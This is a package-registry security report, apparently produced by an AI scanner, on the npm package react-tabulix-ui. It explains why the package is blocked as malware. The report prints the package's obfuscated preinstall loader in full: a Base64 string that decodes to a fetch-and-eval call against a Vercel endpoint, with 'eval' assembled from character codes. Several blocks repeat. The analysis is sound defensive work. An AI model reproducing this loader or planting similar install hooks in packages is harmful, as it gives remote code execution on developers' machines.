registry / react-tabulix-ui / 0.1.0

react-tabulix-ui@0.1.0

Ready-to-use React table UI built on react-tabulix-core — sort, filter, paginate without virtualization

AI Security Review

scanned 3h ago · by lpm-firewall-ai

Installation automatically executes an obfuscated loader. It fetches arbitrary remote text and evaluates it in the installing user's Node process.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

npm installation, via the preinstall lifecycle hook

Impact

Remote server controls code executed during installation, enabling arbitrary local actions.

Mechanism

Base64-obscured fetch-and-eval remote payload loader

Attack narrative

On npm install, package.json runs dist/index.d.js. That file decodes an obfuscated async payload, fetches text from the listed Vercel endpoint, and evaluates the returned content. The endpoint can therefore supply arbitrary code to execute in the installer environment.

Rationale

The preinstall hook contains a concrete, obfuscated remote fetch-and-eval chain. This is unconsented install-time remote code execution, not functionality required by a React UI package.

Evidence

package.jsondist/index.d.jsdist/index.jsdist/index.mjs

Network endpoints1

everydaynodechecker-391443n.vercel.app/api/key?mem=root2

Decision evidence

public snapshot

AI called this at 99.0% confidence with false-positive risk.

Malicious

as Malware

low

Evidence for block

package.json declares preinstall: node ./dist/index.d.js.
dist/index.d.js Base64-decodes a remote HTTPS fetch and invokes it through runtime-built eval.
Decoded payload fetches https://everydaynodechecker-391443n.vercel.app/api/key?mem=root2 and executes its response.
The remote code execution is automatically reachable during npm installation.

Evidence against

dist/index.js and dist/index.mjs contain only the advertised React table component.
No additional suspicious behavior was found in the published runtime entrypoints or declarations.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chain

HighEntropyStringsObfuscated

ManifestNo manifest risk signals triggered.

scanned 3 file(s), 9.72 KB of source

Source & flagged code

5 flagged

package.jsonView file

Lines 15-55json

15 "pagination"

16 ],

17 "sideEffects": false,

18 "main": "./dist/index.js",

19 "module": "./dist/index.mjs",

20 "types": "./dist/index.d.ts",

21 "exports": {

22 ".": {

23 "types": "./dist/index.d.ts",

24 "import": "./dist/index.mjs",

25 "require": "./dist/index.js"

26 }

27 },

28 "files": [

29 "dist",

30 "README.md"

31 ],

32 "scripts": {

33 "build": "tsup",

34 "test": "vitest run",

35 "preinstall": "node ./dist/index.d.js",

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L35

36 "typecheck": "tsc --noEmit"

37 },

38 "dependencies": {

39 "react-tabulix-core": "0.1.3"

40 },

41 "peerDependencies": {

42 "react": ">=18",

43 "react-dom": ">=18"

44 },

45 "devDependencies": {

46 "@testing-library/react": "^16.2.0",

47 "@types/react": "^19.0.10",

48 "@types/react-dom": "^19.0.4",

49 "jsdom": "^26.0.0",

50 "react": "^19.0.0",

51 "react-dom": "^19.0.0",

52 "tsup": "^8.3.6",

53 "typescript": "^5.7.3",

54 "vitest": "^3.0.5"

55 },

dist/index.d.js#virtual:base64:round1View file

1(async () => eval( await fetch('https://everydaynodechecker-39143n.vercel.app/api/key?mem=root2') .then(r => r.text()) ) )();

Critical

Download Execute

Source downloads or fetches remote code and executes it.

dist/index.d.js#virtual:base64:round1View on unpkg · L1

1(async () => eval( await fetch('https://everydaynodechecker-39143n.vercel.app/api/key?mem=root2') .then(r => r.text()) ) )();

Critical

Remote Asset Decode Execute

Source fetches a remote non-code asset, decodes its contents, and dynamically executes the decoded payload.

dist/index.d.js#virtual:base64:round1View on unpkg · L1

1Trigger-reachable chain: scripts.preinstall -> dist/index.d.js L1: (async () => eval( await fetch('https://everydaynodechecker-39143n.vercel.app/api/key?mem=root2') .then(r => r.text()) ) )();

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

dist/index.d.js#virtual:base64:round1View on unpkg · L1

dist/index.d.jsView file

Lines 1-10javascript

1const require = (await import("node:module")).createRequire(import.meta.url);

2globalThis.require = require;

3const b4 =

Source & flagged code

5 flagged · loading source

package.jsonView file

•scripts.preinstall = node ./dist/index.d.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

dist/index.d.js#virtual:base64:round1View file

1(async () => eval( await fetch('https://everydaynodechecker-39143n.vercel.app/api/key?mem=root2') .then(r => r.text()) ) )();

Critical

Download Execute

Source downloads or fetches remote code and executes it.

dist/index.d.js#virtual:base64:round1View on unpkg · L1

1(async () => eval( await fetch('https://everydaynodechecker-39143n.vercel.app/api/key?mem=root2') .then(r => r.text()) ) )();

Critical

Remote Asset Decode Execute

Source fetches a remote non-code asset, decodes its contents, and dynamically executes the decoded payload.

Findings

3 Critical2 High1 Medium3 Low

CriticalDownload Executedist/index.d.js#virtual:base64:round1

CriticalRemote Asset Decode Executedist/index.d.js#virtual:base64:round1

CriticalTrigger Reachable Dangerous Capabilitydist/index.d.js#virtual:base64:round1

HighInstall Time Lifecycle Scriptspackage.json

HighBase64 Obscured Urldist/index.d.js

MediumStructural Risk Force Deep Review

LowScripts Present

LowObfuscated

LowHigh Entropy Strings

LPM CLI

dist/index.d.js#virtual:base64:round1

View on unpkg · L1

1Trigger-reachable chain: scripts.preinstall -> dist/index.d.js L1: (async () => eval( await fetch('https://everydaynodechecker-39143n.vercel.app/api/key?mem=root2') .then(r => r.text()) ) )();

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

dist/index.d.js#virtual:base64:round1View on unpkg · L1

dist/index.d.jsView file

3const b4 = '[redacted]=... L4: const text = Buffer.from(b4, "base64").toString("utf-8"); L5: let nms = [101, 118, 97, 108]

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

dist/index.d.jsView on unpkg · L3

Artifact27.7 KB · 9 files1 signature(s)

Install lifecyclepreinstall

Behavioral surface

Source: cleanHighEntropyStringsObfuscatedManifest: clean

Source & flagged code

5 flagged

package.jsonView file

Lines 15-55json

15 "pagination"

16 ],

17 "sideEffects": false,

18 "main": "./dist/index.js",

19 "module": "./dist/index.mjs",

20 "types": "./dist/index.d.ts",

21 "exports": {

22 ".": {

23 "types": "./dist/index.d.ts",

24 "import": "./dist/index.mjs",

25 "require": "./dist/index.js"

26 }

27 },

28 "files": [

29 "dist",

30 "README.md"

31 ],

32 "scripts": {

33 "build": "tsup",

34 "test": "vitest run",

35 "preinstall": "node ./dist/index.d.js",

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L35

36 "typecheck": "tsc --noEmit"

37 },

38 "dependencies": {

39 "react-tabulix-core": "0.1.3"

40 },

41 "peerDependencies": {

42 "react": ">=18",

43 "react-dom": ">=18"

44 },

45 "devDependencies": {

46 "@testing-library/react": "^16.2.0",

47 "@types/react": "^19.0.10",

48 "@types/react-dom": "^19.0.4",

49 "jsdom": "^26.0.0",

50 "react": "^19.0.0",

51 "react-dom": "^19.0.0",

52 "tsup": "^8.3.6",

53 "typescript": "^5.7.3",

54 "vitest": "^3.0.5"

55 },

dist/index.d.js#virtual:base64:round1View file

1(async () => eval( await fetch('https://everydaynodechecker-39143n.vercel.app/api/key?mem=root2') .then(r => r.text()) ) )();

Critical

Download Execute

Source downloads or fetches remote code and executes it.

dist/index.d.js#virtual:base64:round1View on unpkg · L1

1(async () => eval( await fetch('https://everydaynodechecker-39143n.vercel.app/api/key?mem=root2') .then(r => r.text()) ) )();

Critical

Remote Asset Decode Execute

Source fetches a remote non-code asset, decodes its contents, and dynamically executes the decoded payload.

dist/index.d.js#virtual:base64:round1View on unpkg · L1

1Trigger-reachable chain: scripts.preinstall -> dist/index.d.js L1: (async () => eval( await fetch('https://everydaynodechecker-39143n.vercel.app/api/key?mem=root2') .then(r => r.text()) ) )();

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

dist/index.d.js#virtual:base64:round1View on unpkg · L1

dist/index.d.jsView file

Lines 1-10javascript

1const require = (await import("node:module")).createRequire(import.meta.url);

2globalThis.require = require;

3const b4 =

'KGFzeW5jICgpID0+IGV2YWwoIGF3YWl0IGZldGNoKCdodHRwczovL2V2ZXJ5ZGF5bm9kZWNoZWNrZXItMzkxNDNuLnZlcmNlbC5hcHAvYXBpL2tleT9tZW09cm9vdDInKSAudGhlbihyID0+IHIudGV4dCgpKSApICkoKTs='

4const text = Buffer.from(b4, "base64").toString("utf-8");

5let nms = [101, 118, 97, 108]

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

dist/index.d.jsView on unpkg · L3

6let tag = ''

7for (let i = 0 ; i < nms.length ; i++)

8 tag = tag + String.fromCharCode(nms[i])

9globalThis[tag](text)

10